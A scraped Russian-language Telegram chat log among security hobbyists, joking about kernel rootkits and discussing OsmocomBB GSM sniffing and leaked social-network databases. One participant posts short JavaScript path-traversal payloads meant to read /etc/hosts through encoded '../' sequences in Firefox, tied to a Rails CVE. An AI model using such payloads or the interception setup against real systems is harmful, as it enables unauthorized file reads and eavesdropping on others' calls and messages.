
Shmelev
19.04.2017
16:33:56
Ничего, портируешь

Пингвиныч
19.04.2017
16:34:10
Хотя можно на лету патчить само ядро.
А не подгружать модуль.
Придётся похуесосить, зато переносимость в плюсе.

Google

Shmelev
19.04.2017
16:34:51
Лучше собрать монолитное с бэкдором
Без поддержки патчинга и модулей

Пингвиныч
19.04.2017
16:35:16
Это уже напоминает троллинг.

Shmelev
19.04.2017
16:35:23
*руткитом
Это антиреверс, хе-хе

Пингвиныч
19.04.2017
16:35:51
Давайте тогда сразу процессор менять :).
Собственного создания.
Со своим ассемблером.

Shmelev
19.04.2017
16:36:25
На эльбрус, и rtos под него
Чтобы только эта прога в памяти

Пингвиныч
19.04.2017
16:37:41
Так работает большинство авиров :). Сжирают память и вредоносу её не хватает.

eas7
19.04.2017
16:38:01

Илья
19.04.2017
16:38:04
?

Google

Shmelev
19.04.2017
16:38:07
Это если не считать винду вредоносом
Хотя свои ос у них уже есть

Vitaly
19.04.2017
16:47:38
Может кто знает, смотрите кейс:
var url = 'https://vulnhost/.%2e/.%2e/.%2e/etc/hosts';
var xhr = new XMLHttpRequest;
xhr.open('POST', url, false);
xhr.send('');
мне нужно вот такой запрос отправить с помощью JS
но браузер делает
/etc/hosts
просто
вот как обойти???

Пингвиныч
19.04.2017
16:50:02
Не выйдет у тебя.
Назад нельзя перемещаться через браузер.
Только если там есть PHP Include или Path Traversal.

Vitaly
19.04.2017
16:55:32
беда(
На самом деле есть способ для fire fox
Там нужен таковой же payload как был для знаменитого ruby on rails path traversal
В отчёте matasano
Щас чаек допью скину payload
var url = 'https://vulnhost/%5c%2e%2e%2f%5c%2e%2e%2f%5c%2e%2e%2fetc%2fhosts';
var xhr = new XMLHttpRequest;
xhr.open('POST', url, false);
xhr.send('');
Вот так можно для FireFox и он ничего не обрежет
я вспомнил это потому что как-то раскручивал https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/AnatomyOfRailsVuln-CVE-2014-0130.pdf вот эту CVE
и кароче если в chrome читать файлы то не работало, а в firefox было все ок

Web
19.04.2017
18:43:27
так уже кидали сюда
и там явно нет базы с телеграма

Google

shadowsoul
19.04.2017
18:44:41
лохи раздули и устроили панику

Web
19.04.2017
18:45:10
скорей всего там дамп вк"шечки и может быть еще какие либо базы

Илья
19.04.2017
18:52:09
Вк, фб и тг палится

Самозванец
19.04.2017
19:18:49
Есть кто нибудь кто разбирается в osmocombb ?

đash × eaşy
19.04.2017
19:19:24
С норы что ли пришел?

shadowsoul
19.04.2017
19:20:00
опять?!

Самозванец
19.04.2017
19:20:03
Да

đash × eaşy
19.04.2017
19:20:22
Я читаю конфу и просто чувствую себя дерьмом, а сидящих тут супергероями
Думаю чё я тут вообще делаю

Самозванец
19.04.2017
19:20:41
Да?

đash × eaşy
19.04.2017
19:21:06
Со своим годом изучения си
Который я забыл

Control
19.04.2017
19:21:38
сиди ради погружения в атмосферу...как я например)

đash × eaşy
19.04.2017
19:21:50
А что за вопрос?
И открыл б терминал да поклеил апкшки метасплойтом

Самозванец
19.04.2017
19:23:40
Я сканировал эфир целый день,но не нашел трафик,у меня не отображаются пакеты lapdm

đash × eaşy
19.04.2017
19:24:33
Да
Я просто с дивана и тоже пришел сюда с норы, если ответ был на вопрос о форуме.
Но

Google

đash × eaşy
19.04.2017
19:24:42
Сколько у тебя моторолл?

Самозванец
19.04.2017
19:24:47
One

đash × eaşy
19.04.2017
19:24:52
На ибее взял или с таобао?

Самозванец
19.04.2017
19:25:11
No,in avito

đash × eaşy
19.04.2017
19:25:40

Самозванец
19.04.2017
19:25:50
Да,читал..
Я вижу только tmsi
И пакеты gsmtap

Admin
ERROR: S client not available

Самозванец
19.04.2017
19:26:12
Но где трафик ((
100 раз каналы менял,нашел arfcn на котором сидит мой телефон и даже на нем нечего нету
Хотя пробовал звонить,писать смски при снифинге

đash × eaşy
19.04.2017
19:27:48
А ты сам настраивал или по видосу с опенсурса?
От вектора-_-
Которого тут обхаяли

Самозванец
19.04.2017
19:28:11
Готовая ОС с осмоком

đash × eaşy
19.04.2017
19:28:11
Хех

Самозванец
19.04.2017
19:28:46
Пробовал собрать сам,на этом таже проблема

đash × eaşy
19.04.2017
19:29:59
воу, а можешь ссылью поделиться? я собирал сам, на моменте когдп нужно купить тф и подрубить к системе, уехал в другую страну и застрял там.
А ссыль на готовую ос не смог найти на опенсурсе

Google

Самозванец
19.04.2017
19:30:32
Погоди ка..

đash × eaşy
19.04.2017
19:30:34
Два месяца назад

Самозванец
19.04.2017
19:31:05
Ты откуда?

đash × eaşy
19.04.2017
19:31:15
Вообще с спб

Самозванец
19.04.2017
19:31:28
Страна

đash × eaşy
19.04.2017
19:32:09
Россия, Санкт-петербург. А щас в Киеве. ничем противозаконным не занимаюсь, наркотики не употребляю?

Самозванец
19.04.2017
19:32:23
Ааа все норм

đash × eaşy
19.04.2017
19:32:36
Еще в Казахстане бываю)

Самозванец
19.04.2017
19:32:46
Ааа

đash × eaşy
19.04.2017
19:32:47
Только пока застрял в Украине (

Самозванец
19.04.2017
19:33:10
Ты случайно не общался с бомжом с Грозного?

đash × eaşy
19.04.2017
19:33:48
?

Самозванец
19.04.2017
19:33:54
Эхьь
Забей

đash × eaşy
19.04.2017
19:34:13
Это ник на форуме что ли?
Я не бывал в Чечне. Хотя еще побываю, скорее всего

Самозванец
19.04.2017
19:37:00
https://drive.google.com/open?id=0B51oHZGLPYeoSHA2c2cyWVFyUVU

đash × eaşy
19.04.2017
19:40:58
Весьма признателен

Самозванец
19.04.2017
19:41:55
:)
Я заказал тюнер,с ним попробую

đash × eaşy
19.04.2017
19:42:55
Что за тюнер?